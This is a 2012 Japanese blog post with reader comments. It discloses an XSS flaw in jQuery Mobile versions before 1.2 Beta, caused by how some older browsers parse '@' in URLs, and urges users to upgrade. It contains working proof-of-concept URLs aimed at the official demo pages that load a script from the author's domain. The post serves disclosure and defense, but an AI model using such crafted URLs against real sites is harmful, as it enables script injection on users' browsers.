2012/09/06

jQuery Mobile 1.2 Beta未満は読み込んでいるだけでXSS脆弱性を作ります

(2012/9/25 最後に重要な追記があります。 )

jQuery Mobile 1.2 Betaがさきほどリリースされたようです。
タイトルの通り、それに満たないバージョンのjQuery Mobileには読み込んでいるだけでXSS脆弱性を作ってしまう問題があります。お使いの方はアップデートをお勧めします。

jQuery Mobile 1.2 Beta Released | jQuery Mobile
http://jquerymobile.com/blog/2012/09/05/jquery-mobile-1-2-beta-released/


以前の記事で触れた、一部のブラウザのlocation.hrefの挙動に絡むXSSが修正されています。

以下の件とは別の修正であることに注意してください。

jQuery MobileのXSSについての解説 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110711/1310391177


このときは、クロスドメインでリソースを読み込むことを全く制限していなかったことにより問題が起きていました。今回の場合は、この修正でクロスドメインのリソースを読み込まないようにするチェックが入ったものの、一部のブラウザが返すlocation.hrefの値を考慮したチェック方法で無かったため、その一部のブラウザ上で誤って無関係のサイトを同一のドメインとみなしてしまい、通信をしてしまうことで起きています。

例えば、以下のようなURLでXSSが起こります。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-alpha.1/#//l0.cm/jqm


Safari 6未満・Android 4.1未満・Mobile Safari(iOS6.0未満)などでは、ホストの前にある@の前の文字列を同一のドメインとみなして、http://l0.cm/jqmのリソースを読み込んでしまいます。

以下で確認できるように、1.2 Betaではこの問題は起きません。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-beta.1/#//l0.cm/jqm


ということで、アップデートしましょう。


2012/9/25 追記 1.2 RC1/RC2では、問題が再発しているようです。
https://github.com/jquery/jquery-mobile/issues/4787#issuecomment-8808793

以下で確認できます。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.1/#//l0.cm/jqm
http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.2/#//l0.cm/jqm

今のところ公式にリリースされたもので対応されているのは、1.2 Betaだけということになります。
1.2 RC1/RC2を使うのは避けましょう。

2012/10/3 追記

1.2 がリリースされました。これは大丈夫そうです。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0/#//l0.cm/jqm


5 件のコメント:

  1. 情報の公開すばらしいです。
    なお、素人質問ですみません。
    下記をWindows Safari 5.1でこのページからリンクをクリックすると
    http://l0%2Ecm%2F@jquerymobile.com/demos/1.2.0-alpha.1/#//l0.cm/jqm
    http://l0%2Ecm%2F@jquerymobile.com/demos/1.2.0-beta.1/#//l0.cm/jqm
    http://l0%2Ecm%2F@jquerymobile.com/demos/1.2.0-rc.1/#//l0.cm/jqm
    http://l0%2Ecm%2F@jquerymobile.com/demos/1.2.0-rc.2/#//l0.cm/jqm
    どれも、Exception 18: An attempt was made to break through the security policy of the user agent.
    でエラーになるのですが、結果、実害はない(ページ表示されない)をいうことなのですかね?

    返信削除
    返信
    1. 想定では1.2 Beta以外はリンクをクリックすることでlocation.host (jquerymobile.com)がアラートされますが、されていませんか?
      このアラートは別のドメインのコンテンツをjquerymobile.com内に挿入して出現させたものなので、これが悪意のあるスクリプトであれば当然XSSで起こりうる実害が生じることになります。

      僕のところでも同じエラーは出ていますが、その前にアラートは動いています。(エラーはURLを置き換える処理で出ています。history.replaceState()でjquerymobile.com→l0.cmへの置き換えは無理と言われていると思われます。)
      少なくとも自分のWindowsのSafari 5.1.7ではそのように動きますが、そうではありませんか?

      削除
    2. お忙しい中、ご返信ありがとうございます。大変、勉強になりました。
      なお、また、初歩的なことで、すみませんが、こちらでは、アラートは表示されず、XMLHttpRequest cannot load で、Access-Control-Allowのメッセージでクロスドメイン不可となりました。

      削除
    3. そうですか。うーん。
      考えられるとしたら、僕が、動作しなくなるような変更をページに加えてしまった時に、たまたまoooppsss1199さんが閲覧して、そのレスポンスがキャッシュされているのかもしれません。
      以下のように最後に「?a」などとつけると結果が変わるかもしれません。

      http://l0%2Ecm%2F@jquerymobile.com/demos/1.2.0-alpha.1/#//l0.cm/jqm?a
      http://l0%2Ecm%2F@jquerymobile.com/demos/1.2.0-beta.1/#//l0.cm/jqm?a
      http://l0%2Ecm%2F@jquerymobile.com/demos/1.2.0-rc.1/#//l0.cm/jqm?a
      http://l0%2Ecm%2F@jquerymobile.com/demos/1.2.0-rc.2/#//l0.cm/jqm?a

      あるいは、oooppsss1199さんの言われたように正確なバージョンが(5.1.7ではなく)5.1を使っているのなら、5.1.7までのバージョンアップの間に何らかの挙動の変更があり、5.1では動作しないのかもしれません。
      それ以上はちょっとわかりません。

      削除
    4. 了解しました。
      いろいろご返信ありがとうございました。

      削除